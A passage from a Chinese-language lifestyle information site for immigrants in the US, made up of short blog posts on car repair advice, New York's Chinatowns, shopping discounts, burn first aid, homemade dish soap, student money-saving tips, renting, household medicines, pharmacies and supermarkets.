Tie Rod不一定是问题。我在网上搜寻了一下，Inner Tie Rod的材料费也就是$50美元而已，整套配件也就是不到$200美元。$2,700太坑了一点。建议去另外两家车行估价。噪音如果没有明显的增加的话，还可以忍耐一下。但是需要警醒一些，注意噪音的强度。

读者Cindy问：李先生你好，我刚刚订购了氧化铝全新的Toyota Yaris。汽车保养部门推荐我做油漆保护和车窗加黑（窗口色调）服务。但是我感觉他们的要价太高了，一共要1,000澳币，我不确定我会否保留此车，所以我不想做Paint Protection了，您对此有何看法？您认为Paint Protection真的很重要吗？还有请问您是否可以推荐一个可以做Window Tint的地方质量好，价格合理呢？非常感谢！

李进答：Cindy您好，油漆保护不值得，多数都是代理商的“净赚”，没有价值。您记得按时洗车和打蜡就行了。最要紧的是记得把车停在树荫下，避免暴晒。车窗加黑可以找任何专门商家。因为我在美国的旧金山，抱歉无法为您提供澳洲那里的商家。但是建议您上网查查Yelp等网站，看看有哪些好的推荐。

李进

2019-12-31 / by happy1 / in 汽车, 汽车/房产/保险

【大纽约生活指南】生活在纽约的，你知道纽约有几个唐人街吗？

纽约中国城(Chinatown)，也称纽约唐人街，纽约华埠等，一提纽约的“中国城”，外地人一般会说“华埠”或者“法拉盛”以及布碌崙的八大道至于的唐人街，至于分布在其他的６个“迷你中国城”唐人街，你是否知道呢？

当然了，上面三个中国城历史悠久，中餐馆林立、水果满大街都是，随时随地可以吃到中国美食从兰州拉面、上海菜、山东锅贴、台湾小吃、香港早茶、湖南剁椒鱼头、四川麻婆豆腐、南京红烧狮子头、福建海鲜、潮州小吃等，真是包罗万象，应有尽有，价格也是从最便宜到最贵随你挑。

但是，随着中国一批又一批新移民的到来，现在纽约市的华裔人口已经成为继多米尼加之后的第二大族裔了。所以有几个地方，由于中国移民聚焦的多了，自然地形成了“小中国城”。它们分别是：

小颈（Little Neck，皇后区）、东村（East Village，曼哈顿）、森林小丘（Forest Hills，皇后区）、霍姆克里斯特（Homecrest，布碌崙）、班森贺（Bensonhurst，布碌崙）和艾姆赫斯特（Elmhurst，皇后区）。

生活在纽约的华人不妨在过年时去这些中国城逛逛，品尝地道的中国菜，感受下浓浓的中国式过年。

2019-12-31 / by happy1 / in 律师/移民/金融, 移民生活, 美国新闻

2020年美国购物省钱攻略│圣诞节大促过后，怎样购物最省钱？

在美国生活的老华人都知道，圣诞节是购物的最好时光，各大商场都会在节日期间进行商品大促销，但是，圣诞节过后，对美国人来说并不意味着节日购物季的结束。有很多商品，在圣诞节过后，价格会降到白菜菜，信不信由你！

全美零售联合会（National Retail Federation）在11月27日到12月5日之间，对将近八千名成年人进行调查。发现68%的节日季消费者，在圣诞节过后的一周内很大概率购物。

交易比较网站DealNews提醒民众，购物前不妨先进行价格比较，可以到Amazon、Target或Walmart等网站，查询该商品是否会有更低价格，并且要留意打折商品的退款或更换细则。

根据去年经验，很多商店，比如维多利亚的秘密（Victoria’s Secret）和Michael Kors在1月1日之后，推出下半年的年度清仓，一些当季商品像毛衣、靴子将会有大减价。

不过，一些零售商，例如Target，从这周四起开始大刀阔斧地降价，衣服和鞋子减价70％。

而消费者要注意，看准就下手，因为打折商品可能很快卖光。

在美国的华人朋友，也可以到网络上搜寻，能找到更多的折扣详情，

网址：https://www.dealsofamerica.com/

2019-12-31 / by happy1 / in 律师/移民/金融, 移民生活, 美国新闻

烫伤后如何急救，原来你一直错了！

烫伤后怎么处理

生活中总是难免有些意外，比如被开水烫到，或被炉火烧到，或被油烫伤，你千万要记住：

别用冰块敷！这是严重错误的处理方法！

烫伤后，有些人会使用冰块冰敷，这是错误的急救方法。因为冰块会起到一种作用，就是让血管收缩，使伤口加深，尤其是大面积的伤口更不宜使用。更不要用酒精、牙膏、酱油等，这些对降温没帮助，反而容易引起感染，影响医护人员的判断和紧急处理。

如果烫伤发生了，你要做的急救步骤，就是：

1. 冲水

烫伤后，要用大量流动的冷水冲洗约15到30分钟，或冲到不痛为止，以快速降低皮肤表面热度。流动的冷水可有效带走体表温度，是局部降温最安全又有效的方式之一。

若皮肤出现水泡，冲水的水流不能太强，水泡若弄破，容易感染。如果伤口已经脱皮，仍需用水为烫伤部位降温，但也要注意水流的强弱度，防止烫伤部位上的脱皮剥落。

任何化学药品，如水溶性、非水溶性、强酸、强碱等溅落在皮肤上时，都应即刻用大量清水冲洗。愈早冲洗伤口，皮肤烧灼伤的程度与深度会降低，对复原也较有帮助。

若烫伤面积大、需立即救治，可改将伤口泡在冷水当中帮助降温，并赶紧送医。

2. 脱去衣物、泡水降温减疼

充分冲水并浸湿后，接下来要小心除去衣物，必要时可用剪刀剪开衣服，避免将伤口的水泡弄破，并暂时保留黏住皮肤的衣物。接下来，再将伤口浸泡到冷水里。可在泡冷水时除去衣物，因为在水的浮力下，衣服不会紧贴在烫伤的皮肤上。

另外，烫伤处泡冷水时，会使水温缓慢上升，因此也要勤于更换冷水。浸泡时间同样要持续15到30分钟，以减轻疼痛及稳定情绪。但若是孩童或年长者烫伤，或是烫伤面积太大，不必浸泡过久，以免体温下降过度，或延误治疗时机。

3. 盖上干净纱布、送医治疗

除极小的烫伤可以自理外，严重或面积太大的烫伤都要到医院进行后续治疗。送医前，用干净的纱布或床单覆盖患部，以免伤口在运送过程中感染。

烫伤送医前，应使用干净的纱布覆盖患部，以免伤口在运送过程中感染。大面积烧烫伤的患者，皮肤损伤过多，体温及水分都会大量蒸散，加上冲跟泡的降温过程，可能引发失温，因此送医时，没有烫伤的部位也要注意保暖。

这些情况需要找医师

如果对烫伤伤口严重程度没把握，就要寻求医生处理。有5种情况更要紧急送医：

1. 眼睛化学灼伤，属眼科急症，应迅速就医。

2. 被强酸与强碱灼伤，做初步冲洗后应立即就医。

3. 呼吸道烧灼。

4. 烫伤部位非常疼痛、面积过大。

5. 虽无水泡形成，但伤口已呈白色或黑色的炭化皮革样

2019-12-30 / by happy1 / in 其它, 医疗健康, 医疗药品

一分钟学会在家制作洗洁精│超实用的纯天然洗洁精配方！生活妙招,简单易学！

洗洁精对于日常生活，简直成了一种必须，炒好菜，我们得用到洗洁精来洗好锅，才能使锅的油渍清除，保持锅底干净。一日三餐，洗碗抹桌子，更是离不开洗洁精。洗洁精，在厨房里发挥着不可替代的作用。

但是，由于洗洁精毕竟的成份含有防腐剂、表面活性剂等化学物质，长期使用，还是要尽量降低洗洁精残留量，对于不太油腻的餐具，无需使用洗洁精，只要在用完后及时用热水清洗即可；用洗洁精清洗时，最好不要把洗洁精直接挤在餐具上。可以先在水中加入几滴洗洁精稀释，然后用洗碗布蘸取擦洗餐具，最后再用流动的水多次冲洗餐具，来清除残留的洗洁精。

稀释使用洗洁精的一个方法，可以把洗洁精倒在另一个瓶子里，直接用水龙头的水稀释即可，但容易几天内就会变臭，如果是用纯净水或冷开水稀释后的洗洁精就不会那么快变臭。稀释后的洗洁精可降低洗洁精在碗上面的残留量。

市场上的洗洁精，大家如果实在不放心的话，那么建议自己动手制作纯天然的环保健康无害洗洁精，做一个DIY达人。完全不伤手的自制洗洁精，挑选几个简单的家庭实用制作方法供大家尝试，具体制作方法如下：

一：柚子皮洗洁精

材料：柚子皮、食用碱、密封罐和清水。

步骤：

1.把柚子皮的白色部分去掉一些，切成丝放进瓶子里。

2.倒入没过柚子皮的清水，再加入一小勺食用碱。

3.盖上盖子摇晃一下，自制柚子皮洗洁精就初现雏形了！

4.放置冰箱1个星期后，柚子皮的香精油被充分的释放出来！

备注：此天然洗洁精适用于清洁宝宝奶瓶、餐盘、水果等，用的是绝对放心！

二：强力清洁剂

材料：一瓶矿泉水、洗衣粉、白醋、酒精。

步骤：

1.一瓶矿泉水倒出四分之一；

2.用瓶盖作为量杯，向瓶中倒入：1瓶盖洗衣粉、2瓶盖白醋、3瓶盖酒精；

3.将瓶盖盖紧，将瓶中水摇匀。

备注：将此配好的自制万能强力清洁剂喷在污垢处，用布一擦就擦干净了。此配方不适合用来清洁碗筷和水果等，只适合于厨房里油污大的地方，比如瓷砖、锅盖的表层、油烟机、煤气炉等。

三：最简单的版本

材料：一个空瓶子、自来水、牙膏、小苏打

步骤：

1.一个空瓶子，加上半瓶自来水；

2.把牙膏适量的挤到瓶子里；

3.把适量的小苏打倒进瓶子里；

4.盖好盖子，把瓶子拿起来使劲摇晃。

备注：此配方适用于食用的东西，比如碗筷等，非常好用，特别是简单易做。

2019-12-29 / by happy1 / in 居家生活, 汽车/房产/保险, 生活/美食/家居

留学生在美国生活省钱攻略│2020年美国留学各种省钱妙招

美国留学指南：

留学生在美国生活省钱攻略

1.购买二手课本

在美国留学，学杂费一般包括健康保险费、服务费、书本费等费用，美国的教材书本费很高，省钱的方法就是：购买二手书。

在美国买二手书是合法的，但不能复印课本，不然会惹上侵权麻烦，可以在amazon或ebay等网站购买同名同版本的二手书，省下一笔高昂的书本费。

2.坐公交车和地铁

美国打的费用奇高，在大城市上学的建议坐公交车或地铁，每次约为1.5美金。坐公交车或地铁，比起养车一族或打的，除了能避免交通拥堵，更主要的还能节省出买车、车险和汽油的费用。

3.学会动手做饭

如果自己做饭，伙食费一般可以控制在300美金左右，比起在外面用餐，节约相当可观一笔钱。

4.购物方式

节省衣服上开销，可以去：

1）工厂直销店(outlet store)：这些衣服除了是瑕疵商品、样品，或工厂退货的店面，有些是过期滞销商品价格非常低廉，超级划算。

2）特价商店(Thrift Shops)：一般由慈善机构，像 Goodwill, Salvation Army经营，他们收集民众捐赠的书籍、衣服、瓷器等，加以整理清洗后，以特价方式卖出，所得再捐给医院、学校或其他单位。这些商店虽为二手货，但实用且价格低廉。

3）可以去美国版的一元店(dollar tree)买。一些简单实用的日用品，如厨具，都能在那里买到。买衣服可以去Ross 这样的名品折扣超市，虽然货品不全，但经常能买到超值的服装鞋帽等。

4）其他省钱的途径：

a.换季打折：一般重大节日或换季都有打折活动。

b.到折扣店购物：如Rossshalls, TJMax, Burlington Factory, Loehmann’s等，里面专门卖从各大商场甩出来的断码货，价格十分便宜。

5）到平价超市购物

可参考：美国超市省钱秘决

5.租房费用

国外留学住宿分为校内和校外两种。校内方便，但价位都在700-800美金/月。校外的房子又分为 apartment（一幢楼里有不止一个家庭）和house（一幢楼里只有一家人），几个同学共租一套apartment是中国留学生们常见的住宿形式，费用可以控制在250-500美金/人/月左右，甚至是共租一个房间，这样节省的花费则是相当可观的。

在美国如何租房，可以参考：
美国租房哪种适合你│美国租房流程

6.申请奖学金

申请到国家留学基金委(CSC)提供的奖学金，或美国学校提供的奖学金，就能节省一部分甚至是所有的学费。想申请CSC的奖学金，要去国家留学基金委的网站上找合作名单下的项目。需要注意的是，如果选择CSC资助的奖学金，学生毕业后必须立即回国工作两年。

美国学校提供的奖学金主要有三种类型：TA，RA和Fellowship，也就是助教奖学金，助研奖学金，以及全奖奖学金。助教奖学金一般由系里出钱，职责是帮老师批作业、给学生答疑，其中生物、物理等专业的TA们还要带学生做实验。这部分钱相对较少，一学期大概3000-5000美元左右。RA由拿到funding的教授出钱，职责就是给教授做研究助手。根据学校和教授的不同，每月可以拿到2000美元左右。学校的奖学金不再像国内大学那样固定几种，而是种类繁多，可以根据自己的情况进行申请。

7.兼职打工

如果是F-1签证的留学生，只能在校内打工，诸如学校餐厅、宿舍、图书馆等工作。这种校内工作on-campus job每周不能超过20小时。假期做校内工作的话，每周时限是40小时。

校内打工，可以早点拿到美国社会保障卡号，SSN(Social Security Number)。这个SSN的作用和国内的身份证类似，不过作用更大，办理电话号码、网络、信用卡，租车租房等都要用到。虽然对留学生来说，没有SSN可以用押金或存款证明等替代，如果早点拿到SSN号就能早点在美国积攒信用，受益更多。国际学生在学校的国际学生管理部门拿到许可后，就可在当地的社会保障部门办理社保号SSN了。

留学生要想在毕业前(一般是暑期的时候)去校外工作，需申请CPT(Curricular Practical Training)，而且必须在美国学习满9个月后才能申请，所以一些春季入学的学生是不能在第一年暑期进行CPT实习的。CPT的实习需要和专业相关。各学校政策不同，有些学校的项目不允许进行CPT，学生想实习就只能用自己的OPT(即专业实习，是美国F1学生签证毕业后的实习期)时间了。这些工作除了能带来收入外，还能为毕业找工作积累经验，一举两得。

2019-12-28 / by happy1 / in SAT/ACT, 二手车, 律师/移民/金融, 求职, 汽车, 汽车/房产/保险, 留学/教育/求职, 租房, 移民生活, 美国新闻, 美国留学

2020年美国租房全攻略│美国租房常识│美国租房哪种适合你│美国租房流程

来美国的新移民和留学生，最关心的莫过于住租房问题。怎么租到房子？如何寻找合适房子？美国租房子流程？美国公寓有哪些种类？美国租房必备攻略？美国租房入住须知？

美国租房攻略

如果你是刚到美国的留学生，你可以选租的房型主要有三种：学校宿舍、家庭寄宿和校外学生公寓。如果你是到美国的新移民，那你的选租房型就比较多样了。

学校宿舍Dorm

Dorm就是学校宿舍，有些学校会硬性规定大一新生必须入住学生宿舍。像短期的交换学生, 访问学者等, 学生宿舍也有可能会是一个主要的选择。但学生宿舍面积较小，而且在寒暑假期是关闭的，入住时间也非常严格，不适合大多数留学生的时间安排。而且学校Dorm的数量非常有限，所以经常很难申请到。

校内宿舍常见的结构就是一个叫做Suite（套间）的公共区域内设置有沙发、桌椅、及洗衣机烘干机，同时一个suite里又有四五个带独立卫生间的卧室，每个卧室住两个人。有些校内宿舍suite中或者卧室中带有简易厨房设施，有些则完全不允许学生自己开火做饭。

学生公寓

学生公寓已经成为美国学生住宿的主流模式，方便入住，设施齐全，无需考虑水电费网费等问题。学生公寓通常由学校和校外大型学生公寓公司运营。有良好的信誉保障。另外，健全的美国住宿监管体制，使得学生公寓成为最省事省心的学生居住方式。

Apartment

Apartment就是公寓，美国的公寓配套设施十分完善，一般有洗衣间，供暖，空调，健身房，游泳池，停车场，门卫甚至还有小教堂，小区周边也有生活便利超市。住公寓比住别墅要便宜不少，公寓一般在市区或学校附近，比郊区别墅生活更便利。

公寓需要每年交物业费，但支付30-50%的首付，就可拥有房屋完整产权，靠每月租金填补余下房款，房贷还完后，每月还能赚取正现金流。

House

Single House是指独栋房子，相当于国内的“别墅”，有多个房间和洗手间，有车库，还有独立的草坪和院子。

Townhouse

Townhouse即国内的联排别墅，左右两边墙壁和邻居相连，通常只有很小的院子，但房子本身经常有二到三层楼，空间可以得到充分地利用，房子内部和single house差别不大。

Condo

康斗Condo，从外形上来说Condo和公寓Apartment 没有区别，Condo只是房屋产权形式并不是房屋类型。Condo的所有权属于个人(也就是业主)，而不是房产公司，所以每年业主需要缴纳房地产税。Condo的每一户人家水电都是分开的，就跟国内的普通住宅小区类似，各自有自家的水电表。而Apartment一般有统一的供水系统，水费由用户平摊，只是电费由各租户自行支付。

合伙租房

这种合租一个房间的模式在国内租金高的城市也出现过，诸如两个女生合租一间房间，两个人分担房租，分享浴室、厨房、冰箱等设施。有时会通过这种合租模式，遇到一个趣味相同的并成为好朋友的室友。但有时也会遇到一系列的摩擦与麻烦。

美国寄宿家庭

在美国，孩子不满18岁，必须要有监护人。如果不是父母陪读的话，就需要寄宿家庭（Homestay）的成年人担当法律上的监护人。

寄宿家庭的家长负责照顾孩子的饮食起居、监督学生学习、负责与学校沟通、监督学生的校外生活等等。美国学校有寄宿家庭代理公司运作负责寻找寄宿家庭，也有专门的负责人和监护人来协调学生与寄宿家庭及学校的问题；也有学校老师自愿提出申请接待国际学生。

有一种寄宿家庭是出于热情好客的心理，愿意了解中国文化，希望给自己的孩子找一个同龄的玩伴，一起学习成长，感受异国文化。这样的寄宿家庭收费很少，对于以交流学生身份寄宿的学生甚至免费，这种是最理想的。

studio

Studio一般指的是客厅、饭厅、卧室三位一体的户型，而且厨房一般就在饭厅里（即开放式厨房），形成了一个不分你我的大空间。

1b1b

指的是1 Bedroom 1 Bathroom，即一室一卫。

complex和community

Complex或者community翻成中文就是“小区”或“社区”，通常指的是数栋连在一起的公寓楼组成的公寓群，拥有公共绿地、公共设施，并有统一的所有权和专业的管理团队。相当于国内的高档小区。

Flat和Townhouse的比较

Flat属于平层，即房间, 厨房, 客厅与洗衣房都在同一层；Townhouse是联排别墅，一般则为复式结构。

美国房产经纪

所有通过考试并取得房地产执照的称之为Real estate agent，也就是房产中介。在美国租房很多是从房产中介获取房源信息，并支付中介费。

租房有何途径

主要的租房途径有各种资讯网，比如金牌资讯网租房信息。另外美国有其他比较好用的租屋收索平台 apartments.com、rent.com、Craigslist，还有WE-Housing.com这个专门为留学生免费提供租房折扣的信息平台。

关于保险

在美国租房是要买保险的，保险一般分为房东保险和租客保险。

一：房东保险

房东保险是保房子，不保租客财物，因此若发生火灾或窃盗，租客的财物损失是不含在内的。

二：租客保险

租客保险是保屋内因失窃、自然灾害或人为疏失所要成的财物损失；此外，若有人在你的租屋处受伤并要告你，租客保险也会保此项。

有些房东会建议租客投保租客保险，此用意也是房东保障自己的方式之一，而身为租客的你也可以保障自己的财务。若房东强烈希望你投保此保险，你也可以尝试与房东交涉是否能以降低租金来作为鼓励。

签合同时，你需要准备的是：

护照签证、I-20、银行的存款证明等文件。

如果你是租赁小区时，需要填写申请表（Application Form），还需要缴纳申请费，一般根据小区不同价格在$20-$100不等。另外，你要知道的是，小区办公室一般只收取支票，不收现金或刷卡哦。

需要注意的是：美国有各个州有不同的法律，一般性的规定是住在公寓里的人必须年满18岁，如果不满18岁则需要有人陪同。

公寓对于居住的人数也是有限制的，哪怕你只是个baby也算人数的哦。

1b1b（也就是一室一卫）住2-3人，很多公寓要求只能住2人

2b（也就是两室户型）住4-5人

金牌资讯网温馨提醒：租房的人数限制，具体要求记得要咨询清楚！！最后，请在入住前与出租房的工作人员共同去检查家中所有电器装修等是否完好无损，再签订一份确认合同。

下面附上[金牌资讯网]推荐的房产中介公司，方便大家更好的找到好房源：

环球地产国际投资公司电话：929-216-8888

美房置业：温哥华房地产516-675-9999 助您找到梦想的家！

Trident 贷款公司提供一条龙买房服务 856-616 6067

纽约地产经纪917-993-0172

纽约法拍屋917-993-0172

陈秀娟（Janet Chen）电话：609-799-3500

2019-12-26 / by happy1 / in 居家生活, 律师/移民/金融, 房屋买卖, 汽车/房产/保险, 生活/美食/家居, 租房, 移民生活, 美国新闻

美国家庭必备药品清单│35种超实用的美国家庭常备药

美国家庭必备药品清单，金牌资讯网小编特地整理出来，以供来美国生活的新移民收藏起来可以按图索骥，解决在美国生活中遇到的一些大大小小的意外。

外伤篇

1. New-Skin 液体创可贴

皮肤上有小创口时，取适量New-Skin 直接往创口上涂，刚涂的时候会有点刺痛，忍忍就好，然后就会在伤口形成一层保护膜，洗澡也不用担心进水，伤口痊愈之后自己揭掉即可。可以有效防止伤口感染化脓。液体创口贴的防水性非常好，特别适合夏天使用，适用于皮肤割伤、擦伤、轻微破损等症状，比传统的创口贴要好用的多。

2. Clubman 快速止血消炎笔

美国家庭必备！在伤口上擦两下，伤口很快不流血，还能防止发炎！非常适合面部伤口，涂完后毫无痕迹，不影响美观。可以对任何伤口起到止血消炎的作用。

3. 邦迪创可贴

地球人都知道不解释！居家必备创可贴。

4. Neosporin 抗菌止痛软膏

消毒杀菌，烫伤、割伤、划伤都能用，涂完后，伤口不会疼，痘痘肌也能用，发炎的痘痘也会马上消下去。

5. Water Jel 烧伤膏

对付烫伤特别有效。消肿很快，将它使用在烧伤烫伤部位，可以迅速冷却止痛。烫伤必备紧急处理药物，适合局部轻度烫伤时使用，可以迅速冷却皮肤，减缓疼痛和隔离空气污染。

6.Penetrex Pain Relief Therapy

美国很多专业运动员、运动爱好者都喜欢用的消炎止痛药膏，对于缓解肌肉疼痛、韧带以及肌腱部位的疼痛、坐骨神经痛、纤维肌痛、神经痛等症状非常的有效。

7.Bengay Pain Relieving Cream

这款药膏能够减轻肌肉疼痛、关节痛疼、肩部不适、腰部酸痛、肌肉拉伤、风湿关节炎疼痛等症状，涂到皮肤上之后会有一点点热热的感觉，有促进血液循环的作用。

8.Stopain Extra Strength Pain Relief Roll-On

镇痛滚珠，对于缓解老年人的风湿关节痛、关节炎非常的有效，家里有老人的建议常备几瓶。

9.Icy Hot Extra Strength Medicated Patch

止痛贴，贴上之后刚开始会感觉到凉凉的，之后就会感觉到热，对于缓解颈肩酸痛、腰痛都非常有效，工作需要经常坐办公室的爸妈们肯定会需要用到这个！

10.Swan Hydrogen Peroxide

双氧水，涂抹在伤口上可以杀菌消毒，割伤、刮伤、烧伤等外伤伤口都可以用双氧水来清洗杀菌。

11.Neosporin Original Ointment

用双氧水清理伤口之后，涂上一层 Neosporin 抗菌止痛软膏可以起到抗菌、消炎、止疼、加速伤口愈合的作用，也能避免伤口留疤。

12.Mederma Advanced Scar Gel

美国超级畅销的去疤痕膏，对于手术以及各种外伤所造成的疤痕都非常有效，涂抹之后能够明显改善疤痕的整体外观、颜色。

感冒咳嗽篇

1. Airborne 应急维C泡腾片

若是轻微头疼脑热，喷嚏咳嗽，一大杯airborne 下肚，绝对什么事都没有，就是这么管用。

2. Delsym 止咳药

水果口味，比急支糖浆好喝多了，被呛到、感冒咳嗽、咽喉炎咳嗽都能吃。用于治疗4岁以上宝宝的感冒咳嗽症状，有多重水果口味可以选择。

3. Vicks 舒缓薄荷膏

畅销美帝六十多年，美国人感冒、鼻塞、咳嗽时必用产品，Vicks 舒缓薄荷膏，感冒时用它抹一抹胸膛、背部和颈部，咳嗽、鼻塞可以缓解不少！

4.Tylenol Extra Strength Caplets

有缓解头痛和退烧的功效。患病婴儿或者儿童都可以用这个药，不过需要注意使用剂量。

5.Advil Ibuprofen Tablets

用于减缓疼痛、炎症或者感冒引起的发热症状，正常情况下儿童也可以服用。

6.Cepacol Sore Throat & Cough

同样也是缓解感冒喉咙疼痛的，功效更加的强劲。

7.Mucinex SE 12 Hr Max Strength Chest Congestion Expectorant Tablets

祛痰化痰，注意服药期间还要大量喝水。

8.Breathe Right Nasal Strips

超级好用的缓解鼻塞的通气鼻贴。

9.Airborne Vitamin C Immune Support Supplement

严格的说这个不算药品，它的主要功效是增强抵抗力，预防感冒。当你有喉咙痛、不停打喷嚏等感冒征兆的时候，就可以用这个维C泡腾片来抵抗感冒。

失眠篇

1. ZzzQuil 蓝莓口味助眠糖浆

宝洁出品，质量值得信赖。成分安全放心，不会引起依赖性，12岁以上的儿童及成人都能服用！

2. This Works 深度助眠喷雾

This Works really works！《Vogue》杂志和Makeup Geek 网站多次推荐的This Works 深度助眠喷雾，薰衣草香味，对压力型失眠尤其有效！入睡慢、睡眠浅、睡眠质量不高的筒子们都可以试试它，睡前喷点在枕头上就可以！

腹泻便秘篇

1.Imodium A-D Liquid

这款止泻药水对各种拉肚子、肠胃不适症状超级有用，效果好又安全。

2.Pepto Bismol Upset Stomach Relief Medicine

能够缓解胃灼热、消化不良、恶心、腹泻等多种胃部疾病，樱桃口味的小孩子也能接受。

3.Pedialyte Electrolyte Powder

很多儿医都不建议小宝宝吃止泻药，但是建议妈妈注意给宝宝补充电解质，这个粉末状的加水冲泡喂给宝宝喝就能及时补充电解质和水，防止宝宝因为腹泻而脱水。

4.Colace Docusate Sodium Stool Softener

有效成分是 Docusate Sodium，可以促进肠道中水与脂肪的混合，服用之后一般会在12小时到72小时之间排便。

口腔篇

1.Canker-Rid

专门针对口腔溃疡的特效药，如果经常吃辛辣油炸食品，就免不了会上火长口腔溃疡，而这款药里面含有天然蜂胶蜂蜡花粉等成分，能够帮助口腔创面尽快愈合。

2.Quantum Health Canker Cover Oral Canker Sore Patch

口腔溃疡贴，贴住之后能够避免食物、饮料对口腔创面的刺激，发挥作用的时间长达8到12个小时。

3.Blistex Kanka Mouth Pain Liquid, Professional Strength

对于缓解口腔疼痛非常有效，止痛消炎的作用也非常的明显。

4.DenTek

超级专业的家用牙疼止疼套装，适用于牙齿松动、镶嵌、牙缺失、牙齿痛疼等多种症状。套装包括Temparin、治牙痛的药物、牙齿保护容器这三样，在美国看牙医也并不便宜，有了它能省下不少钱。

其他篇

1.Bonine Motion Sickness Tablets

对于预防和治疗晕车、晕船、晕机等头晕呕吐症状非常的有效，不过可能有一点嗜睡的副作用。

2.Family Care Clotrimazole Anti Fungal Cream

这款药膏主要用于预防和治疗各类皮肤真菌感染，比如脚气、足癣等。

3.Preparation H Hemorrhoidal Cream

痔疮软膏，缓解痔疮部位的疼痛不适。都说十人九痔，买一支放到家里备着总归是好的。

4.AcneFree 3 Step Acne Treatment Kit

美国很多超市都有卖的痘痘护理套装，包含洁面乳、爽肤水、乳液三种产品，缓解红肿、止痒的效果非常的好。

美国生活指南│在美国哪些地方可以买到药

2019-12-25 / by happy1 / in SAT/ACT, 医疗健康, 医疗药品, 口腔科/眼科/耳科, 律师/移民/金融, 留学/教育/求职, 移民生活, 美国新闻, 肠胃科/儿科/家庭医生

美国生活指南│在美国哪些地方可以买到药│美国三大药房谁最贵？

在美国，买非处方药十分方便，感冒发烧，头疼脑热，咳嗽气喘等问题都可以直接去药店解决。不只是药店，便利店甚至加油站都会提供基础的药物。下面由金牌资讯网小编为大家列出可以买到药的几个地方：

大型连锁店

其实美国的“药店”很多，但一般都不是专门的药店，从“门脸”上是看不出来的。比如，人们喜欢逛的沃尔玛、塔吉特百货（Target）等大型连锁店，或者一些大型连锁食品超市里都有“药店”，即在这些连锁店里开设了卖药区域。这里的“药店”一般都有药剂师负责回答顾客的购药问题，完全可以满足您在美国买药的需求。

一般的常用药，都可以在大型连锁店的药品专卖区买到，而且价格适宜。这些大型连锁店的好处是每天开门营业，晚上关门打烊的时间都很晚。这些“药房”上岗的药剂师都是从正规学校毕业，并获取考试合格证书的。所以，只要您将诸如胃酸、胃痛、腰痛、头痛等病症跟药剂师说明白，他们会迅速找到合适而且价格不贵的非处方药，解除病痛。

便利商店

除了沃尔玛、Target和ACME这样的大型连锁店，您可能会在街上看到过很多像CVS Pharmacy、 Rite Aid Pharmacy和Walgreen Pharmacy等便利商店。请注意，这些便利商店如果标有Pharmacy（药房）这个词，通常都卖药。进入便利店径直往里走，穿过食品和日用商品的货架，就会看到药品货架和有药剂师在里面配处方药的药品柜台了（您如果有医生处方需要照方抓药，这里也一样可以）。

加油站

如果身体突发不适，附近又一时找不到上述售药的店面怎麽办？不要急，您可以到附近的加油站去看看。美国加油站都设有便利店，常常是24小时营业，清晨或夜晚来这里买东西很方便，而且价格也并不太贵。加油站便利店除了卖咖啡、饮料、食品、香烟以及机油、防冻液等汽车用品外，一般都卖常用的非处方药。

美国三大药房谁最贵？

在美国，谁是最贵的连锁药房？由消费者监督团体发布的研究报告指出，三大全国连锁药房沃尔格林（Walgreens）、来德爱（Rite Aid）和CVS，其中沃尔格林的商品最贵。

研究发现，一个市场里的同一个产品，售价比别家高的商品数目，沃尔格林是来德爱和CVS的5倍，而且沃尔格林各连锁店之间也存在最大的价格差异。沃尔格林是美国销售额第一的药品、食品连锁店；除了出售感冒药、洗发水外，也出售寿司、果汁、葡萄酒、修甲产品等。

纽约州的卫生局网站提供处方药价格查询、药店查询等公共信息。

卫生局网站：https://apps.health.ny.gov /pdpw/SearchDrugs/Home.action

查询方法：选择药品名称，输入城市名、郡（辖区）名、邮编（zip）、距离，就可查询到你附近的药房售价。

如何在美国买到处方药，详情请见文章：

美国买药指南：美国哪里可以买到处方药│在美国哪里买药最便宜？

2019-12-25 / by happy1 / in GMAT/GRE, SAT/ACT, 医疗健康, 医疗药品, 律师/移民/金融, 求职, 留学/教育/求职, 移民生活, 美国新闻

在美国必去超市│美国超市大盘点│美国最实用超市攻略│美国超市省钱秘决

美国超市省钱秘决/美国超市大盘点/美国超市攻略/美国超市推荐/美国最实用超市/美国生活指南

新移民来到美国，一定最想了解的就是超市，美国超市非常多，各有各的特色，有的是主营生活用品，有的是主营零食类，有的是家电类的，有的是综合类的，为了帮助大家找到适合自己的超市，金牌资讯小编特地为大家梳理了一下美国超市最有代表性的8家，让你在美国生活的游刃有余。

1.沃尔玛Walmart

产品最全的超市　不用办会员卡

沃尔玛介绍

沃尔玛产品丰富，价格便宜，始终保持着最低价的策略。沃尔玛服装很全面，几美元的T-shirt，十几块钱的鞋，质量还都不错，很多中低收入的美国人经常在沃尔玛买衣服。沃尔玛也卖品种丰富的电子数码产品，像iphone、 ipad，每年黑五销售季，沃尔玛打折的苹果电脑手机都是消费者疯抢的对象。

沃尔玛优势

不需要会员卡，所有消费者享受统一最低价，所以说在沃尔玛购物很划算的。山姆会员店：如果想加入Sam’s Club购买大宗低价商品，需要缴纳45美元/年的会费，可以多人使用。

2.Costco（好市多）

性价比最优的超市

Costco介绍：

Costco竭尽全力降低运营成本，将省下的金钱回馈给会员。

Costco的优势：

1.会员费：在Costco买东西必须有会员卡。商品的价格整体来说都较其他竞争者低。

2.大包装（家庭装）：Costco所有东西都是大包装，牙膏、牙刷之类的产品都是三个起为一个包装，这种以较大数量的包装销售的方法，降低了他们的成本；

3.不提供购物袋：在收银台外面，超市提供了大量的纸盒子，就是它们进货时的各式各样的纸盒子，变废为宝，消费者可以自己去拿来盛东西；

4.信用卡：过去Costco不接受信用卡，只能用借记卡，现在虽然可以使用信用卡，但是只接受和他们合作的美国运通卡（American Express）；

5.自有品牌：“Kirkland Signature”是Costco的自有品牌，主要提供价格低廉且品质良好的产品，产品的种类从成衣、电池等生活用品到食品皆有涵盖。

3.CVS

穷人富人都喜欢的超市

CVS也是美国人生活中离不了的一个超市连锁，优势：

1.便利：和Walmart还有Costco这些需要开车才能到的连锁店相比，CVS开在居民区里居民走路就能够走到的地方，这在美国来说是很不容易的，再加上CVS开的店数要远远多于其他店，因此对于居民来说还是相当便利的；

2.24小时全天候营业：CVS便利还体现在时间上，全天候二十四小时的营业时间方便你在任何时候都可以在短时间内买到自己所需的物品，因此如果你忽然发现没牙膏了，那就去旁边的CVS买吧；

3.CVS价格反差大：CVS在产品刚上架的时候，价格通常很贵，但是每过一段时间，他就会经常搞诸如买一送一的活动，因此，只要不是急着买某样产品，就可以在打折的时候买，因此不管是富人还是穷人都喜欢时不时地光临一下CVS；

